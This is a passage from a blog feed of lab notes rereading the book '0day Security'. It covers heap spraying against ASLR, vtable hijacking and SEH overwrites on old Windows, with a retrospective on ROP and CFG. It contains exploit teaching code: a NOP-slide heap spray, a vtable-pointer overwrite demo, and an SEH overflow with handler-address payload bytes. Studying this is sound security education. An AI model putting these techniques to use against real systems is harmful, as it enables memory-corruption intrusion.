runs.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;var&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;unescape&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;%u9090%u9090&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;length&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x100000&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt;; }  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// build a 1MB block of 0x90&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// JS adds extra info to strings (32B heap header, 4B length, 2B terminator); subtract it so each chunk is exactly 1MB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;substring&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x100000&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;shellcode&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;length&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;var&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;slide&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Array&lt;/span&gt;&lt;span&gt;();      &lt;/span&gt;&lt;span&gt;// back then I misspelled Array as Arrary here, fixed now&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;var&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;slide&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;shellcode&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Cover the heap with 200 of these 1MB chunks, and as soon as any chunk’s NOPs cover &lt;code&gt;0x0C0C0C0C&lt;/code&gt;, you’re in.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Heap spraying against ASLR&lt;a href=&quot;#heap-spraying-against-aslr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Heap spraying and ASLR are a natural pair. ASLR randomizes module addresses, but the heap spray claims a fixed magic address, &lt;code&gt;0x0C0C0C0C&lt;/code&gt;, which module randomization doesn’t affect. On Vista + IE7, with the vulnerable ActiveX control from before, spray the heap until it fills everything around &lt;code&gt;0x0C0C0C0C&lt;/code&gt;, then overwrite the function’s return address with &lt;code&gt;0x0C0C0C0C&lt;/code&gt;. When it returns, it lands in the sprayed memory and slides over the NOPs into the shellcode. It still works after a reboot.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Vtable hijacking&lt;a href=&quot;#vtable-hijacking&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Last, one more place to strike that the earlier posts kept mentioning and kept putting off, C++ virtual functions. It gets around GS and the SEH protections alike, so it gets its own section.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;In C++, member functions marked &lt;code&gt;virtual&lt;/code&gt; are virtual functions, and their entry addresses all live in a virtual table (vtable)&lt;/li&gt;
&lt;li&gt;When an object calls a virtual function, it first follows the object’s vtable pointer to the vtable, then takes the function address from the vtable and calls it&lt;/li&gt;
&lt;li&gt;The vtable pointer is stored in the object’s memory, followed right after by its other member variables&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;So if a member variable inside the object (say an array) overflows, you get a chance to change the vtable pointer, or a function pointer in the vtable, and the next virtual call jumps into the shellcode:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Failwest&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;public:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;virtual&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;cout&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Vtable::test()&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;endl&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Failwest&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;overflow&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;p_vtable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;overflow&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;   // the vtable pointer comes before the member variables&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// point the vtable pointer at a spot inside buf that we control&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;p_vtable&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;5C&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;p_vtable&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;BB&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;p_vtable&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;p_vtable&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;00&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;strcpy&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;overflow&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;shellcode&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;overflow&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;span&gt;    // jumps into the shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The object’s memory is on the heap, but this is a continuous, linear overwrite, so strictly speaking it’s neither a stack overflow nor a heap overflow. “Array overflow” or “contiguous overwrite” is a more accurate name. Using a DWORD SHOOT to change the vtable is often simpler. Vtable hijacking dodges GS (it fires before the function returns) and SafeSEH/SEHOP (neither one cares about vtables), so once GS was everywhere, it became a very popular route. That’s also exactly why it’s the main target of the modern protections below.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Both protections in this post are still here, and they’re where modern exploitation really begins. Attackers and defenders have just both moved a long way forward.&lt;/p&gt;&lt;p&gt;On the DEP side, ret2libc grew straight into &lt;strong&gt;ROP (Return-Oriented Programming)&lt;/strong&gt;. The old “jump into one or two system functions” stitching became “chain hundreds or thousands of little snippets ending in &lt;code&gt;ret&lt;/code&gt; (gadgets)”, which is enough to do any logic you want without running a single byte of new code, like calling &lt;code&gt;VirtualProtect&lt;/code&gt; to make the real payload executable. The turn-off-DEP and make-it-executable tricks above are the most common way a ROP chain ends. Microsoft’s answer is &lt;strong&gt;CFG/XFG&lt;/strong&gt; (restricting where indirect calls can go, aimed squarely at vtable hijacking like the one above), &lt;strong&gt;ACG&lt;/strong&gt; (once a code page is executable it can’t be changed again, which blocks “change the permissions yourself, then write code”) and &lt;strong&gt;CIG&lt;/strong&gt; (only images signed by Microsoft may load).&lt;/p&gt;&lt;p&gt;On the ASLR side, the biggest change is that &lt;strong&gt;an info leak became the first step of an exploit&lt;/strong&gt;. Modern Windows forces ASLR by default, and 64-bit has high-entropy ASLR on top, so guessing addresses basically doesn’t work. Almost every full exploit chain today first needs a memory leak bug to get the real address of some module or heap, and only then works out where the gadgets and shellcode are. And both of the gaps in this post are still alive. The “offset within a page isn’t randomized” that partial overwrites rely on is still true today. The idea of spraying the heap to claim a fixed magic address isn’t dead either, though browsers added isolated heaps and put randomization and permission limits on JIT memory, so the old-style spray with a plain NOP slide doesn’t work as well as it used to. These days it’s more often paired with bugs like type confusion and UAF for precise heap layout.&lt;/p&gt;&lt;p&gt;None of the tricks in these four posts can be copied as-is today. But understanding them properly is exactly the groundwork for reading modern ROP, CFG and “leak first, then exploit”.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Rereading 0day Security (3), SEH Hijacking, Plus GS, SafeSEH and SEHOP</title><link>https://blog.lumysia.net/posts/reread-0day-3-seh-gs-safeseh-sehop/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/reread-0day-3-seh-gs-safeseh-sehop/</guid><description>From overwriting SEH to hijack exception handling, to the GS cookie, SafeSEH&apos;s RtlIsValidHandler decision tree and SEHOP&apos;s chain integrity check, and how each one gets bypassed.</description><pubDate>Sun, 25 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Part three of “Rereading 0day Security”, lab notes from &lt;em&gt;0day Security: Software Vulnerability Analysis Techniques, 2nd edition&lt;/em&gt; (by failwest and others), written in 2020 and tidied up in 2026. This post folds four or five of my exception-handling notes into one. First, how to overwrite SEH to hijack the program, then the three protections aimed at it, GS, SafeSEH and SEHOP, how each works and how each can be bypassed. Several of the book’s popups use the shellcode from &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt; that finds APIs dynamically, so I won’t paste it all again here.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What SEH is&lt;a href=&quot;#what-seh-is&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;SEH is the Structured Exception Handler, an important data structure in Windows exception handling. Each SEH record holds two DWORDs, one pointing at the next SEH record and one holding the address of the handler function, 8 bytes in total&lt;/li&gt;
&lt;li&gt;SEH records live on the stack&lt;/li&gt;
&lt;li&gt;When a thread starts, an SEH is automatically installed on its stack as the thread’s default handler&lt;/li&gt;
&lt;li&gt;If the source uses exception handling like &lt;code&gt;try-except&lt;/code&gt;, the compiler implements it by installing an SEH in the current function’s stack frame&lt;/li&gt;
&lt;li&gt;There are usually several SEH records on the stack at once&lt;/li&gt;
&lt;li&gt;They’re chained into a singly linked list through their “next” pointers, from the top of the stack toward the bottom. The one at the head of the list (closest to the top of the stack) is pointed to by the pointer at offset 0 in the TEB&lt;/li&gt;
&lt;li&gt;When an exception happens, the system takes the SEH closest to the top of the stack from offset 0 of the TEB and uses its handler&lt;/li&gt;
&lt;li&gt;If the handler closest to the scene fails, it tries the next ones down the list&lt;/li&gt;
&lt;li&gt;If none of the handlers the program installed can deal with it, the system uses its default handler, which shows an error dialog and kills the program&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The idea behind overwriting SEH&lt;a href=&quot;#the-idea-behind-overwriting-seh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;SEH lives on the stack, so data overflowing a buffer can flood it&lt;/li&gt;
&lt;li&gt;Change the handler address in the SEH record to the start of the shellcode&lt;/li&gt;
&lt;li&gt;After the overflow, the corrupted stack frame or heap data triggers an exception&lt;/li&gt;
&lt;li&gt;Once the system starts handling it, it runs the shellcode as the exception handler&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The nice thing is obvious. You don’t have to wait for the function to &lt;code&gt;ret&lt;/code&gt;, you just need to cause an exception. A divide by zero like the one below is enough.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Overwriting SEH on the stack&lt;a href=&quot;#overwriting-seh-on-the-stack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The lab is on Windows 2000. First I used an all-NOP “shellcode” to see how far the overwrite reaches.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char*&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zero&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; // break for debug&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;__try&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;strcpy&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt;  // overrun the stack&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;zero&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zero&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;     // generate an exception&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;__except&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;MyExceptionhandler&lt;/span&gt;&lt;span&gt;()){}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Here’s what I saw while debugging:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0012FE98&lt;/code&gt; is where the shellcode starts&lt;/li&gt;
&lt;li&gt;The current thread has 3 SEH records installed. The one closest to the top of the stack is at &lt;code&gt;0x0012FF68&lt;/code&gt;, and it’s the first to be called&lt;/li&gt;
&lt;li&gt;What we need to overwrite is &lt;code&gt;0x0012FF6C&lt;/code&gt;, its handler address. Put the shellcode start address &lt;code&gt;0x0012FE98&lt;/code&gt; there and that’s it&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Then swap the input for “real shellcode + a tail that reaches the SEH”. The popup shellcode from &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt; goes first, and the end looks like this:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;... (popup shellcode before this, omitted) ...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;90 90 90 90   ; next SEH record, anything goes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;98 FE 12 00   ; SEH handler address = 0x0012FE98, points at the shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;strcpy&lt;/code&gt; overflow overwrites the SEH, &lt;code&gt;zero = 4 / zero&lt;/code&gt; raises a divide-by-zero exception, the system goes off to “handle” it with our shellcode, and the popup shows up.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Overwriting SEH on the heap&lt;a href=&quot;#overwriting-seh-on-the-heap&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The same idea works for heap 